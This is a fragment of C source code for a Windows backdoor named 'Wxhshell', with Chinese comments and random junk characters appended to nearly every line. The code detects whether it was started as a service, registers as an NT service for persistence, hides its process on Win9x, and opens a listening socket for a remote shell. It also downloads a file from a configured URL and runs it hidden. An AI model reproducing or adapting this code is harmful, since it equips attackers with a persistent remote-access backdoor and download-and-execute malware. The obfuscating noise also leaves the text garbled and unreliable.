DWORD PebBaseAddress;
oi%5t)VsS
DWORD AffinityMask; 0%(4G83gw
DWORD BasePriority; P"[ifsp
ULONG UniqueProcessId; _"FbjQ"
ULONG InheritedFromUniqueProcessId; ==r?
} PROCESS_BASIC_INFORMATION; t6! p\Y}}
R(n0!h4
PROCNTQSIP NtQueryInformationProcess; ;@=@N9qK
|1\dCE03}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +3~Gc<OO
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; giA~+m~fN
x0TnS#
HANDLE hProcess; @eAGN|C5
PROCESS_BASIC_INFORMATION pbi; Q}k_#w
7k[`]:*o
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =]2RC1#}e
if(NULL == hInst ) return 0; MfZ}xu
~0Q\Lp);
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :c+a-Py
$E
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PG-cu$\??
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wUZ(Tin
w2M
IY_N?
if (!NtQueryInformationProcess) return 0; \!' {-J
~]i]kU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iYmzk?U
if(!hProcess) return 0; V}Y~z)i0
qx#ghcU
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .aAw7LW
S|=rF<]my
CloseHandle(hProcess); =_H*fhXS
ux/[d6To
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A+bubH,
if(hProcess==NULL) return 0; 2=Vkjh-
uV*f[l
HMODULE hMod; 8m13M5r
char procName[255]; l yLK$B?/
unsigned long cbNeeded; s K$Sar
D3ZT''
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iX9[Q0g=oQ
"cz]bCr8
CloseHandle(hProcess); ^0BF2&Zx
s/p>30Fg
if(strstr(procName,"services")) return 1; // 以服务启动 9b=^"K
[XY:MUe
return 0; // 注册表启动 * zJiii
} DlQ[}5STF
)4o=t.O\K
// 主模块 zxynEdO
int StartWxhshell(LPSTR lpCmdLine) xVwi
}jtG|
{ cvLcre% >A
SOCKET wsl; 4)>\rqF+v
BOOL val=TRUE; *M**h-p2'
int port=0; \VhpB
struct sockaddr_in door; S92!jp/
MM58w3Mz
if(wscfg.ws_autoins) Install(); #VMBn}
N%M>,wT
port=atoi(lpCmdLine); BzG!Rg|J
fAA@ziKg
if(port<=0) port=wscfg.ws_port; ss M9t
3\U,Kg
WSADATA data; JwG5#CFu^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e^l+#^fR
N4GIb 6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uzn))/"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /EAQ.vxI
door.sin_family = AF_INET; l8n[8AT1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]qP}\+:
door.sin_port = htons(port);
vGLb2Q
#.t$A9'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u3?Pp[tM<
closesocket(wsl); Wn9Mr2r!*,
return 1; URzE+8m^
} fN? Lz%z3
v.8S
V]
if(listen(wsl,2) == INVALID_SOCKET) { .qU%SmQ^
closesocket(wsl); Pt)}HF|u
return 1; kHIQ/\3?Q
} mYs->mg1
Wxhshell(wsl); G QB^
WSACleanup(); HI`A;G]
1X:whS5S
return 0; <?va)
ou
I`}vdX)
} EA{*%9 A
h,jAtL!
// 以NT服务方式启动 q-)_Qco
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "OAZ<
{ kviSQM2
DWORD status = 0; x[uXD
DWORD specificError = 0xfffffff; kk7:A0._
~X(xa
serviceStatus.dwServiceType = SERVICE_WIN32; w!9W Cl]9M
serviceStatus.dwCurrentState = SERVICE_START_PENDING; PHL@1K{)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CzsY=DBH=
serviceStatus.dwWin32ExitCode = 0; Dp |FyP_w
serviceStatus.dwServiceSpecificExitCode = 0; EQ`t:jc{
serviceStatus.dwCheckPoint = 0; aiX;D/t?
serviceStatus.dwWaitHint = 0; r`"#c7)
/WgW e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T|iF/p]F
if (hServiceStatusHandle==0) return; -v+^x`HR
BNm va
status = GetLastError(); Ol5xyj
if (status!=NO_ERROR) }c#/1J7
{ 9TN5|x
serviceStatus.dwCurrentState = SERVICE_STOPPED; ML"P"&~u6
serviceStatus.dwCheckPoint = 0; f?I *`~k
serviceStatus.dwWaitHint = 0; .t%Vx
serviceStatus.dwWin32ExitCode = status; ^{+:w:g
serviceStatus.dwServiceSpecificExitCode = specificError; {EHG |
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =X'7V}Q}
return; 4g^+y.,r_f
} rxk{Li<9
_!p$47
serviceStatus.dwCurrentState = SERVICE_RUNNING; eu|q
{p
serviceStatus.dwCheckPoint = 0; e;u8G/
serviceStatus.dwWaitHint = 0; 4W-+k
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1E_Ui1 [
} g~D6.OZU
Gv3Fg[MA@c
// 处理NT服务事件,比如:启动、停止 /g7?,/vnZ
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6zZR:ej
{ (eE}W~Z
switch(fdwControl) '
1]bjW*!
{ #]/T9:
case SERVICE_CONTROL_STOP: Ca"+t
lO
serviceStatus.dwWin32ExitCode = 0; S&)
>w5*]U
serviceStatus.dwCurrentState = SERVICE_STOPPED; O!+5As
serviceStatus.dwCheckPoint = 0; 7Cp_41._
serviceStatus.dwWaitHint = 0; FAl 6
{ u9~J1s<e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y,
_3Ks
} AFUl
return; R*fR?
case SERVICE_CONTROL_PAUSE: myX0<j3G5
serviceStatus.dwCurrentState = SERVICE_PAUSED;
x`l;
;
break; 8mddI
case SERVICE_CONTROL_CONTINUE: nv
Gd:]Z
serviceStatus.dwCurrentState = SERVICE_RUNNING; yzl\{I&
break; n
k3lC/f
case SERVICE_CONTROL_INTERROGATE: ",_
break; &V{,D))6[
}; ov>L-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BtApl)q#
} eE_XwLE
7f,WzvV
// 标准应用程序主函数
C2i..iD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~y^lNgujO
{ Y.
tFqzo3
'+tT$k
// 获取操作系统版本 ,WK$jHG]
OsIsNt=GetOsVer(); m6<0 hP
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZU'^%)6~o~
fOervo
// 从命令行安装 K8c#/o
if(strpbrk(lpCmdLine,"iI")) Install(); Sylsp%A
6+#cyKj
// 下载执行文件 '
uw&f;/E
if(wscfg.ws_downexe) { ;CBdp-BUj
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SnU{ZGR>sP
WinExec(wscfg.ws_filenam,SW_HIDE); A6.'1OD
} vBnHG-5;P
6u;(R0n
if(!OsIsNt) { 0Ch._~Q+20
// 如果时win9x,隐藏进程并且设置为注册表启动 n9-[z2n
HideProc(); `:O.g9
StartWxhshell(lpCmdLine); 0lN8#k>H
} Z"T(8>c;g
else .LHe*J C
if(StartFromService()) 7E)7sd
// 以服务方式启动 >vy+U
StartServiceCtrlDispatcher(DispatchTable); 1e} 3L2rC
else dq(L1y870
// 普通方式启动 =(\!,S'
StartWxhshell(lpCmdLine); 4=:eGlU93U
@1Lc`;Wd
return 0; >f8,YisH
}